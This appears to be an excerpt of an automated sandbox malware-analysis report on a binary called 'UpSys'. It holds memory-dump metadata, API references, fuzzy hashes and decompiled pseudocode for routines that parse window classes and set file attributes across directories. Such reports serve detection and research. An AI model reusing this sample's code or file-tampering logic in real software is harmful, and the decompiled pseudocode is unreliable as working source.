                                                                                                                                                                                                        0x14007c3e2
                                                                                                                                                                                                        0x14007c3ee
                                                                                                                                                                                                        0x14007c3f5
                                                                                                                                                                                                        0x14007c40b
                                                                                                                                                                                                        0x14007c40e
                                                                                                                                                                                                        0x14007c418
                                                                                                                                                                                                        0x14007c420
                                                                                                                                                                                                        0x14007c42c
                                                                                                                                                                                                        0x14007c431
                                                                                                                                                                                                        0x14007c445
                                                                                                                                                                                                        0x14007c451
                                                                                                                                                                                                        0x14007c468
                                                                                                                                                                                                        0x14007c47c
                                                                                                                                                                                                        0x14007c484
                                                                                                                                                                                                        0x14007c49c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$CtrlParent
                                                                                                                                                                                                        • String ID: ComboBox$ListBox
                                                                                                                                                                                                        • API String ID: 1383977212-1403004172
                                                                                                                                                                                                        • Opcode ID: ce9eda6989d8695cb7022dc07873f58e42b493c1031169a045c0d08c0d464793
                                                                                                                                                                                                        • Instruction ID: 24b2ed9642edcfae274df8165878c3aec3e93f9966e8025142c11ad1bcd90163
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ce9eda6989d8695cb7022dc07873f58e42b493c1031169a045c0d08c0d464793
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F2318B72314A4082EB669B26E9507E963A1F78DBD0F884115FF9D07BE5DE3CC6498304
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002CB14 Relevance: 15.2, APIs: 10, Instructions: 177COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CB6A
                                                                                                                                                                                                        • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CB89
                                                                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CC2E
                                                                                                                                                                                                        • malloc.LIBCMT ref: 000000014002CC45
                                                                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CC8D
                                                                                                                                                                                                        • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CCC8
                                                                                                                                                                                                        • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CD04
                                                                                                                                                                                                        • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CD44
                                                                                                                                                                                                        • free.LIBCMT ref: 000000014002CD52
                                                                                                                                                                                                        • free.LIBCMT ref: 000000014002CD74
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ByteCharMultiWide$Infofree$malloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1309074677-0
                                                                                                                                                                                                        • Opcode ID: 8aaaab47266b17991e9fa858fd8de761e6930d1955905abdb117c229ff526050
                                                                                                                                                                                                        • Instruction ID: 32f9f0ca849b823cd42eb936262e589ef7079cd29ba7f3c1a4411a90d86f558a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8aaaab47266b17991e9fa858fd8de761e6930d1955905abdb117c229ff526050
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0161B47621078086E7268B27A840BD976E5FB8CBE4F644629FB5D47BF4DB38C8418700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140052AB0 Relevance: 15.1, APIs: 10, Instructions: 60keyboardsleepwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 685491774-0
                                                                                                                                                                                                        • Opcode ID: 02c3cc8ddd5563ed2f43d8b70271e4b36d03133a878d425a44a315bf3adedd46
                                                                                                                                                                                                        • Instruction ID: 8acbc75bf8023a7e5ca678a3c44b1bfdb67b37be9bf7d8eca34d21979d5bfb14
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 02c3cc8ddd5563ed2f43d8b70271e4b36d03133a878d425a44a315bf3adedd46
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 131163B6300A1082F7159F7BF494BDE2361AB8DBC0F009439EB0A477B5DE7AC1958350
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004C610 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 249windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3356174886-3916222277
                                                                                                                                                                                                        • Opcode ID: cfe1d86fddb864e9541d7bf041e825e06cf07b13c14e53034e5eda15e94c1ccd
                                                                                                                                                                                                        • Instruction ID: 5486fa4c38afce383dc1a1bd17f35cb5b9ddd548ad85e216060193bb284e1054
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cfe1d86fddb864e9541d7bf041e825e06cf07b13c14e53034e5eda15e94c1ccd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 75A1B13623069182E7AA8F26D548BB936E1F34CBC4F16523AFF4657AB4DB39CC518704
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007B7F0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 226COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 85%
                                                                                                                                                                                                        			E0000000114007B7F0(void* __ecx, void* __edx, void* __edi, void* __eflags, short* __rax, long long __rbx, void* __rcx, void* __rdx, void* __r8, void* __r10, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t38;
				void* _t39;
				void* _t46;
				void* _t50;
				void* _t53;
				short* _t66;
				intOrPtr* _t67;
				intOrPtr _t69;
				void* _t96;
				void* _t97;
				long long _t99;
				void* _t102;
				void* _t104;
				void* _t105;
				void* _t113;
				void* _t116;

				_t68 = __rbx;
				_t66 = __rax;
				_t53 = __edi;
				_t50 = __ecx;
				 *((long long*)(_t104 + 0x10)) = __rbx;
				_t105 = _t104 - 0x70;
				 *(__rcx + 0x110) =  *(__rcx + 0x110) & 0x00000000;
				 *(__rcx + 0x1a8) =  *(__rcx + 0x1a8) & 0x00000000;
				_t97 = __rcx;
				_t102 = __r8;
				E0000000114000FD50(__rax, __rbx, _t105 + 0x30);
				E0000000114000FD50(_t66, _t68, _t105 + 0x50);
				if (E00000001140042380(_t66, __r8) == 0) goto 0x4007b84d;
				_t89 = __rdx;
				_t38 = E0000000114005AFB0(_t66, _t68, _t97, __rdx, _t99, _t116);
				goto 0x4007b957;
				_t39 = E00000001140043480(_t38, __r8, _t89);
				if ( *_t66 != 0x5b) goto 0x4007bb1e;
				_t69 =  *((intOrPtr*)(_t102 + 8));
				E00000001140043480(_t39, _t102, _t69 - 1);
				if ( *_t66 != 0x5d) goto 0x4007bb1e;
				 *((long long*)(_t105 + 0xa0)) = _t99;
				_t67 = _t105 + 0xa0;
				 *((long long*)(_t105 + 0x28)) = _t69 - 2;
				 *((long long*)(_t105 + 0x20)) = _t67;
				if (E0000000114007B460(_t69, _t102, _t97, _t99, _t105 + 0x30, _t105 + 0x50) == 0) goto 0x4007bb1e;
				if (E000000011400526A0(E0000000114007B460(_t69, _t102, _t97, _t99, _t105 + 0x30, _t105 + 0x50), _t67, _t69, _t105 + 0x30, L"CLASS", _t99, _t113) == 0) goto 0x4007b8e2;
				 *(_t97 + 0x110) =  *(_t97 + 0x110) | 0x00000001;
				goto 0x4007baf7;
				if (E000000011400526A0(E000000011400526A0(E0000000114007B460(_t69, _t102, _t97, _t99, _t105 + 0x30, _t105 + 0x50), _t67, _t69, _t105 + 0x30, L"CLASS", _t99, _t113), _t67, _t69, _t105 + 0x30, L"CLASSNN", _t99, _t96) == 0) goto 0x4007b90a;
				 *(_t97 + 0x110) =  *(_t97 + 0x110) | 0x00000008;
				goto 0x4007baf7;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(E0000000114007B460(_t69, _t102, _t97, _t99, _t105 + 0x30, _t105 + 0x50), _t67, _t69, _t105 + 0x30, L"CLASS", _t99, _t113), _t67, _t69, _t105 + 0x30, L"CLASSNN", _t99, _t96), _t67, _t69, _t105 + 0x30, L"REGEXPCLASS", _t99, _t99) == 0) goto 0x4007b982;
				 *(_t97 + 0x110) =  *(_t97 + 0x110) | 0x00000010;
				E00000001140001150(_t44, _t69, _t97 + 0x1c0);
				_t46 = E0000000114007B210(_t50, _t53, E000000011400526A0(E000000011400526A0(E000000011400526A0(E0000000114007B460(_t69, _t102, _t97, _t99, _t105 + 0x30, _t105 + 0x50), _t67, _t69, _t105 + 0x30, L"CLASS", _t99, _t113), _t67, _t69, _t105 + 0x30, L"CLASSNN", _t99, _t96), _t67, _t69, _t105 + 0x30, L"REGEXPCLASS", _t99, _t99), _t69, _t97 + 0x1c0, _t105 + 0xb8, _t102, _t105 + 0x50, _t105 + 0x50, __r10, __r11);
				if ( *_t67 == 0) goto 0x4007b88c;
				sil = 0;
				E00000001140002610(E00000001140002610(_t46, _t69, _t105 + 0x50), _t69, _t105 + 0x30);
				return sil;
			}






















                                                                                                                                                                                                        0x14007b7f0
                                                                                                                                                                                                        0x14007b7f0
                                                                                                                                                                                                        0x14007b7f0
                                                                                                                                                                                                        0x14007b7f0
                                                                                                                                                                                                        0x14007b7f0
                                                                                                                                                                                                        0x14007b7fc
                                                                                                                                                                                                        0x14007b800
                                                                                                                                                                                                        0x14007b807
                                                                                                                                                                                                        0x14007b80f
                                                                                                                                                                                                        0x14007b817
                                                                                                                                                                                                        0x14007b81d
                                                                                                                                                                                                        0x14007b827
                                                                                                                                                                                                        0x14007b836
                                                                                                                                                                                                        0x14007b838
                                                                                                                                                                                                        0x14007b83e
                                                                                                                                                                                                        0x14007b848
                                                                                                                                                                                                        0x14007b852
                                                                                                                                                                                                        0x14007b860
                                                                                                                                                                                                        0x14007b866
                                                                                                                                                                                                        0x14007b871
                                                                                                                                                                                                        0x14007b87a
                                                                                                                                                                                                        0x14007b880
                                                                                                                                                                                                        0x14007b88c
                                                                                                                                                                                                        0x14007b8a4
                                                                                                                                                                                                        0x14007b8a9
                                                                                                                                                                                                        0x14007b8b5
                                                                                                                                                                                                        0x14007b8ce
                                                                                                                                                                                                        0x14007b8d0
                                                                                                                                                                                                        0x14007b8dd
                                                                                                                                                                                                        0x14007b8f5
                                                                                                                                                                                                        0x14007b8f7
                                                                                                                                                                                                        0x14007b905
                                                                                                                                                                                                        0x14007b91d
                                                                                                                                                                                                        0x14007b91f
                                                                                                                                                                                                        0x14007b92d
                                                                                                                                                                                                        0x14007b946
                                                                                                                                                                                                        0x14007b94e
                                                                                                                                                                                                        0x14007b954
                                                                                                                                                                                                        0x14007b966
                                                                                                                                                                                                        0x14007b981

                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                                                                        • API String ID: 0-1603158881
                                                                                                                                                                                                        • Opcode ID: 2814fec4fff8fdb65c5590c3e4043cbca2693319b0255ef74627e44a83de2117
                                                                                                                                                                                                        • Instruction ID: 070206cbe35aa5e1d19f34a96dfbbbd2fbfe6113859b206249dfbf9967130621
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2814fec4fff8fdb65c5590c3e4043cbca2693319b0255ef74627e44a83de2117
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1CB18D72214685A6EE5AEF22D5413E9B360FB8C7C4F800012FB5A475FADFB8C669C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006E1A0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 51%
                                                                                                                                                                                                        			E0000000114006E1A0(void* __esp, long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __rbp, signed int* __r8, void* __r9, void* __r10, long long _a8, long long _a16, long long _a24) {
				void* _v40;
				char _v568;
				char _v1096;
				char _v1624;
				void* _v2152;
				intOrPtr _v2160;
				char _v2680;
				char _v3208;
				signed int _v3224;
				void* __rdi;
				void* _t45;
				signed int _t52;
				signed int _t79;
				short* _t115;
				signed int* _t118;
				short* _t152;
				short* _t153;
				void* _t170;
				long long _t172;

				_t155 = __rsi;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t115 =  *((intOrPtr*)(__rdx + 8));
				_t172 = __rcx;
				r12d = 0;
				_t118 = __r8;
				E00000001140062190(_t115,  *((intOrPtr*)(_t115 + 8)));
				_t7 = _t170 + 1; // 0x1
				_t152 = _t115;
				r13d = _t7;
				if ( *((long long*)(__rdx + 0x10)) - 3 < 0) goto 0x4006e207;
				_t45 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				_t79 = r13d;
				if (_t45 != _t79) goto 0x4006e207;
				r12b = _t79;
				goto 0x4006e2b9;
				if ( *_t152 != 0x2b) goto 0x4006e219;
				r13d = _t79;
				goto 0x4006e222;
				if ( *_t152 != 0x2d) goto 0x4006e226;
				r13d = 0;
				_t153 = _t152 + 2;
				if ( *_t153 == 0x52) goto 0x4006e2a8;
				if ( *_t153 == 0x72) goto 0x4006e2a8;
				if ( *_t153 == 0x41) goto 0x4006e2a1;
				if ( *_t153 == 0x61) goto 0x4006e2a1;
				if ( *_t153 == 0x53) goto 0x4006e29a;
				if ( *_t153 == 0x73) goto 0x4006e29a;
				if ( *_t153 == 0x48) goto 0x4006e293;
				if ( *_t153 == 0x68) goto 0x4006e293;
				if ( *_t153 == 0x4e) goto 0x4006e28c;
				if ( *_t153 == 0x6e) goto 0x4006e28c;
				if ( *_t153 == 0x4f) goto 0x4006e285;
				if ( *_t153 == 0x6f) goto 0x4006e285;
				if ( *_t153 == 0x54) goto 0x4006e27e;
				if ( *_t153 != 0x74) goto 0x4006e3a4;
				goto 0x4006e2aa;
				goto 0x4006e2aa;
				goto 0x4006e2aa;
				goto 0x4006e2aa;
				goto 0x4006e2aa;
				goto 0x4006e2aa;
				_t52 = _t79;
				if (r13d != _t79) goto 0x4006e2b3;
				goto 0x4006e2b5;
				if ( *((intOrPtr*)(_t153 + 2)) != 0) goto 0x4006e20e;
				_t116 =  *((intOrPtr*)(__rdx + 8));
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				E0000000114001760C(0, __esp,  &_v2680,  *((intOrPtr*)(__rdx + 8)), _t153 + 2, _t153 + 2);
				r13d = 0;
				_v2160 = r13w;
				E00000001140015460(_t116,  &_v2680);
				E000000011400151D0(_t116, __r8,  &_v2680);
				_v3224 =  &_v1096;
				E0000000114001823C(_t118,  &_v2680,  &_v1624, __rsi,  &_v568,  &_v3208, __r10,  &_v1096);
				E00000001140016E20( &_v1624,  &_v568);
				E00000001140016E20( &_v3208,  &_v1096);
				GetCurrentDirectoryW(??, ??);
				if (SetCurrentDirectoryW(??) != r13d) goto 0x4006e3bb;
				E00000001140007A40(_t118, _t118, _t155);
				_t118[2] = 1;
				 *_t118 = r13d;
				goto 0x4006e45d;
				E00000001140007A40(_t118, _t118, _t155);
				 *_t118 =  *_t118 & 0x00000000;
				_t118[2] = 1;
				goto 0x4006e45d;
				if (E00000001140040EC0() == r13b) goto 0x4006e420;
				GetFileAttributesW(??);
				if (SetFileAttributesW(??, ??) != r13d) goto 0x4006e3ff;
				SetCurrentDirectoryW(??);
				goto 0x4006e38d;
				if (r12b == r13b) goto 0x4006e44f;
				SetCurrentDirectoryW(??);
				E00000001140016E4C( &_v3208, L"*.*");
				r9d = r12d | _t52;
				r8d = r12d | _t52;
				_v3224 = r12b;
				if (E0000000114003EAD0(_t172,  &_v3208) != r13b) goto 0x4006e44f;
				E00000001140007A40(_t118, _t118, _t155);
				_t118[2] = 1;
				 *_t118 = r13d;
				SetCurrentDirectoryW(??);
				return 0;
			}






















                                                                                                                                                                                                        0x14006e1a0
                                                                                                                                                                                                        0x14006e1a0
                                                                                                                                                                                                        0x14006e1a5
                                                                                                                                                                                                        0x14006e1aa
                                                                                                                                                                                                        0x14006e1bf
                                                                                                                                                                                                        0x14006e1c3
                                                                                                                                                                                                        0x14006e1c6
                                                                                                                                                                                                        0x14006e1cd
                                                                                                                                                                                                        0x14006e1d9
                                                                                                                                                                                                        0x14006e1e3
                                                                                                                                                                                                        0x14006e1e8
                                                                                                                                                                                                        0x14006e1eb
                                                                                                                                                                                                        0x14006e1ee
                                                                                                                                                                                                        0x14006e1f8
                                                                                                                                                                                                        0x14006e1fd
                                                                                                                                                                                                        0x14006e202
                                                                                                                                                                                                        0x14006e204
                                                                                                                                                                                                        0x14006e209
                                                                                                                                                                                                        0x14006e212
                                                                                                                                                                                                        0x14006e214
                                                                                                                                                                                                        0x14006e217
                                                                                                                                                                                                        0x14006e21d
                                                                                                                                                                                                        0x14006e21f
                                                                                                                                                                                                        0x14006e222
                                                                                                                                                                                                        0x14006e22a
                                                                                                                                                                                                        0x14006e230
                                                                                                                                                                                                        0x14006e236
                                                                                                                                                                                                        0x14006e23c
                                                                                                                                                                                                        0x14006e242
                                                                                                                                                                                                        0x14006e248
                                                                                                                                                                                                        0x14006e24e
                                                                                                                                                                                                        0x14006e254
                                                                                                                                                                                                        0x14006e25a
                                                                                                                                                                                                        0x14006e260
                                                                                                                                                                                                        0x14006e266
                                                                                                                                                                                                        0x14006e26c
                                                                                                                                                                                                        0x14006e272
                                                                                                                                                                                                        0x14006e278
                                                                                                                                                                                                        0x14006e283
                                                                                                                                                                                                        0x14006e28a
                                                                                                                                                                                                        0x14006e291
                                                                                                                                                                                                        0x14006e298
                                                                                                                                                                                                        0x14006e29f
                                                                                                                                                                                                        0x14006e2a6
                                                                                                                                                                                                        0x14006e2a8
                                                                                                                                                                                                        0x14006e2ad
                                                                                                                                                                                                        0x14006e2b1
                                                                                                                                                                                                        0x14006e2bc
                                                                                                                                                                                                        0x14006e2c2
                                                                                                                                                                                                        0x14006e2c9
                                                                                                                                                                                                        0x14006e2e1
                                                                                                                                                                                                        0x14006e2ee
                                                                                                                                                                                                        0x14006e2f1
                                                                                                                                                                                                        0x14006e2fa
                                                                                                                                                                                                        0x14006e30f
                                                                                                                                                                                                        0x14006e339
                                                                                                                                                                                                        0x14006e33e
                                                                                                                                                                                                        0x14006e353
                                                                                                                                                                                                        0x14006e365
                                                                                                                                                                                                        0x14006e374
                                                                                                                                                                                                        0x14006e38b
                                                                                                                                                                                                        0x14006e390
                                                                                                                                                                                                        0x14006e395
                                                                                                                                                                                                        0x14006e39c
                                                                                                                                                                                                        0x14006e39f
                                                                                                                                                                                                        0x14006e3a7
                                                                                                                                                                                                        0x14006e3ac
                                                                                                                                                                                                        0x14006e3af
                                                                                                                                                                                                        0x14006e3b6
                                                                                                                                                                                                        0x14006e3c8
                                                                                                                                                                                                        0x14006e3cf
                                                                                                                                                                                                        0x14006e3ed
                                                                                                                                                                                                        0x14006e3f7
                                                                                                                                                                                                        0x14006e3fd
                                                                                                                                                                                                        0x14006e402
                                                                                                                                                                                                        0x14006e409
                                                                                                                                                                                                        0x14006e41b
                                                                                                                                                                                                        0x14006e425
                                                                                                                                                                                                        0x14006e428
                                                                                                                                                                                                        0x14006e42e
                                                                                                                                                                                                        0x14006e43b
                                                                                                                                                                                                        0x14006e440
                                                                                                                                                                                                        0x14006e445
                                                                                                                                                                                                        0x14006e44c
                                                                                                                                                                                                        0x14006e457
                                                                                                                                                                                                        0x14006e47f

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentDirectory$AttributesFile
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 769691225-438819550
                                                                                                                                                                                                        • Opcode ID: be8bf1099e5ec66e04e3ca93a566c4c19bf5ad4b65b673f324c8c922fe292680
                                                                                                                                                                                                        • Instruction ID: dd9de69fbfc5cc414120de4715ce6908e51b4cd4dca2c16bbf61c5d1baec6dec
                                                                                                                                                                                                        • Opcode Fuzzy Hash: be8bf1099e5ec66e04e3ca93a566c4c19bf5ad4b65b673f324c8c922fe292680
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8381B13261478281EB629F16D8543DE63A7F3887C8F608422FB4E476E5EBB9C995C341
